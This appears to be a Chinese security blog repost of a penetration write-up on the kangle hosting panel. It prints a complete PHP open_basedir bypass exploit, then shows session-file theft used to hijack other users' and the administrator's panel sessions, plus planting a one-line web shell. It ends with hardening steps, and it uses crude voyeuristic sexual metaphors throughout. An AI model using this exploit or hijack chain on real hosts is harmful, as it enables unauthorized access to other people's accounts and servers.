安全路透社
当前位置:安全路透社 > 网络转载 > 正文

kangle主机之我是如何偷看合租女室友洗澡并把房子占为己有的

*本文原创作者:r41nbow本文属FreeBuf原创奖励计划,未经许可禁止转载

kangle web服务器( 简称:kangle ) 是一款跨平台、功能强大、安全稳定、易操作的高性能web服务器和反向代理服务器软件。
除此:kangle也是一款专为做虚拟主机研发的web服务器。实现虚拟主机独立进程、独立身份运行。用户之间安全隔离,一个用户出问题不影响其他用户。安全支持php、asp、asp.net、java、ruby等多种动态开发语言。

以上是kangle官网的简介。

踩点

潜入一个群进行暗中观察,随口问了一句”哪点有免费主机”。热心人丢来一个链接,马上打开注册,开通。发现是kangle主机管理系统开设的。习惯性为热心人检测下安全。上传phpinfo查看,命令执行函数被禁用,open_basedir也开启了限制。默认只能访问到网站目录和/tmp目录。

QQ截图20170528162849.png

20170528162834.png

胸口一凉,难道如此美女就可遇不可求了吗?!

下载安装kangle和管理面板。单独kangle做web服务,开启80和3311端口。安装kangle对应主机管理系统开启80,3311,3312,3313端口。

3312面板为主机管理面板,可以进行站点开通、主机管理、文件管理。

站点路径/vhs/kangle/nodewww/webftp

临时文件存放路径:/vhs/kangle/nodewww/tmp

3312登录的所有会话信息(session信息)存放在/vhs/kangle/nodewww/tmp目录下。

、偷看女室友洗澡思路

如果可以获取/vhs/kangle/nodewww/tmp目录内容,就能伪造身份进行3312面板登录。

1.命令执行,直接列出该目录。

2.绕过open_basedir读取该目录内容。

针对思路1,由于已经设置了限制命令执行函数,才疏学浅,没能绕过。

上传open_basedir绕过脚本,内容如下:

<?php
/*
PHP 5.3 5.4 open_basedir bypass exploit 
by Maksymilian Arciemowicz http://cxsecurity.com/
cxib [ a.T] cxsecurity [ d0t] com
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '<PRE>
.__ __ 
____ ___ ___ ______ ____ ____ __ _________|__|/ |_ ___.__.
_/ ___\\\\ \/ / / ___// __ \_/ ___\| | \_ __ \ \ __< | |
\ \___ > < \___ \\\\ ___/\ \___| | /| | \/ || | \___ |
\___ >__/\_ \/____ >\___ >\___ >____/ |__| |__||__| / ____|
\/ \/ \/ \/ \/ \/ 

<p>PHP 5.4 open_basedir bypass exploit poc
<p>Script for legal use only. More: <a href="http://cxsecurity.com/" alt="exploit">cxsecurity.com</a>
<p><form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';

if(empty($file))
exit;

if(!is_writable("."))
die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a])) 
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?>

访问文件,尝试读取临时目录内容.

20170528155846.png

通过3312面板文件管理查看结果。

20170528155910.png

20170528155958.png

成功绕过目录限制并列出了临时目录下的session文件。

修改浏览器cookie.(注:没有失效的session文件大小都不为0,sess_xxxxxx对应的session为去掉sess_)

20170528160032.png

修改后刷新浏览器,即可成功偷看到合租室友洗澡。

如下图,从xiaoge123会话修改session后成功到了yxmssbook的管理界面。

20170528160055.png

搞定房东

管理员面板为:http://IP:3312/admin。诱导管理登录该面板后从tmp目录查看大小不为0的sess_x文件,一个一个会话伪造后刷新页面。

QQ截图20170528165639.png

20170528161711.png

成功登录进入到管理界面。

四、直捣黄龙

进入了管理面板,我们权限就很大了,删除主机太残忍,无血海深仇,不干。

QQ截图20170528165909.png

我们开设一个主机到/vhs/kangle/nodewww/webftp目录,这样我们就可以往主机管理面板站点写入文件。

QQ截图20170528170127.png

建立后直接通过在线文件管理,上传一句话,直捣黄龙。

QQ截图20170528170521.png

phpinfo查看3312面板站点是单独的配置文件,并且是没有做任何目录和函数限制。

QQ截图20170528170628.png

QQ截图20170528170645.pngQQ截图20170528170653.png

菜刀连接测试:

QQ截图20170528170843.png

至此房东处女膜已不保。

五、处女膜修复手术

手术建议:

1.修改默认管理面板访问路径,较少爆菊风险。

2.disable_functions禁用symlink。

3.设置tmp目录权限,禁止所属用户以外任何组织访问该目录。

默认为755改为700即可。

QQ截图20170528171416.png

QQ截图20170528171504.png

测试:

QQ截图20170528172113.pngQQ截图20170528172122.png

注:

一、antisec.com为hosts指向,不要尝试搞它。

二、提权到root为演示需要在自己系统搭建环境测试,从未针对原系统做过任何插入操作。

*本文原创作者:r41nbow本文属FreeBuf原创奖励计划,未经许可禁止转载

未经允许不得转载:安全路透社 » kangle主机之我是如何偷看合租女室友洗澡并把房子占为己有的

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册